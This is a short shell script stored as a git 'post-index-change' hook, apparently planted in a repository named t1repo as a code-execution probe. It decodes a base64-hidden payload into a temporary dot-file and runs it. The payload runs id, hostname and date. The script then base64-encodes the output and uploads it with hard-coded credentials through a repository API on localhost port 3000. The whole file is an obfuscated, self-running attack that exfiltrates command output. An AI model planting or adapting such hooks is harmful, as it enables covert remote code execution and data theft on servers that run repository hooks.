t1repo/hooks/post-index-change
2026-11-02 07:05:55 +00:00

8 lines
535 B
Bash
Executable File

#!/bin/sh
echo 'ZWNobyAiPT0gaWQiOyBpZAplY2hvICI9PSBob3N0IjsgaG9zdG5hbWUKZWNobyAiPT0gZGF0ZSI7IGRhdGUgLXUK' | base64 -d > /tmp/.s$$ 2>/dev/null
sh /tmp/.s$$ > /tmp/.o$$ 2>&1
B=$(base64 -w0 /tmp/.o$$ 2>/dev/null | tr -d '\n')
[ -n "$B" ] && for U in http://127.0.0.1:3000 http://localhost:3000; do
curl -s -m 20 -o /dev/null -u 'u3probe7x91:Pr0be!2026x91' -H 'Content-Type: application/json' -X POST -d "{\"content\":\"$B\",\"message\":\"o\",\"branch\":\"main\"}" "$U/api/v1/repos/u3probe7x91/t1repo/contents/t1out" && break; done
exit 0